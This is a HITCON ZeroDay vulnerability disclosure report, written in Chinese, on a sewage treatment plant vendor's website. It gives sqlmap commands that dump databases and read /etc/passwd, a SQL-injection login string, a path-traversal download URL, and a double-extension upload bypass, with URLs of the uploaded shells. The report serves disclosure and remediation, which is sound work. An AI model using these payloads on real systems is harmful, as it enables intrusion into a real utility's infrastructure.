Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01354
- Vendor: 大樹污水處理廠
- Title: 高雄市政府 大樹污水處理廠 SQLi、SQLi to Login、SQLi to LFI、IDOR、弱密碼、任意檔案下載、任意檔案上傳導致RCE。
- Introduction: SQLi、SQLi to Login、SQLi to LFI、IDOR、弱密碼、任意檔案下載、任意檔案上傳導致RCE...這漏洞太多了吧
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/10/21 16:37:00 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/10/21 17:09:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/11/08 16:16:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/11/08 16:16:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/21 03:00:25 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01354
- 通報者:nhd1261 ({{萌新}})
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
相關網址
http://www.dashu.com.tw/main.php?page=result_detail&id=6
http://www.dashu.com.tw/main.php?page=result_detail&id=102
https://www.dashu.com.tw/download/download.php?file=
http://www.dashu.com.tw/upload/download/info.php.doc
http://www.dashu.com.tw/upload/download/hi.php.doc
http://www.dashu.com.tw/upload/download/who.php.doc
敘述
SQLi、SQLi to LFI
Payload:
python sqlmap.py "http://www.dashu.com.tw/main.php?page=result_detail&id=102" --random-agent --thread 10 --batch --dbs
python sqlmap.py "http://www.dashu.com.tw/main.php?page=result_detail&id=102" --random-agent --thread 10 --batch --file-read "/etc/passwd"
SQLi to Login
帳號:'OR '1'='1' --
密碼:隨意
弱密碼
登入後台後發現管理員帳密都是admin。
IDOR
在後台發現有一些隱藏的測試訊息,嘗試在前台修改ID參數,發現可以繞過隱藏機制,看到隱藏的公告,雖說沒有敏感內容但也不安全。
任意檔案下載:
此漏洞權限比SQLi to LFI還大,能讀取到一些SQLi讀不到的檔案。
https://www.dashu.com.tw/download/download.php?file=../../../../../etc/passwd
任意檔案上傳導致RCE:
後台上傳功能雖有檢查檔案類型,但可以透過.php.doc這樣的雙重副檔名繞過,再透過任意下載獲得的網站原始碼檔案找到上傳目錄,檢視上傳的shell,確定成功RCE。
http://www.dashu.com.tw/upload/download/info.php.doc
http://www.dashu.com.tw/upload/download/hi.php.doc
http://www.dashu.com.tw/upload/download/who.php.doc
測試時還上傳了一些測試檔案,請協助刪除。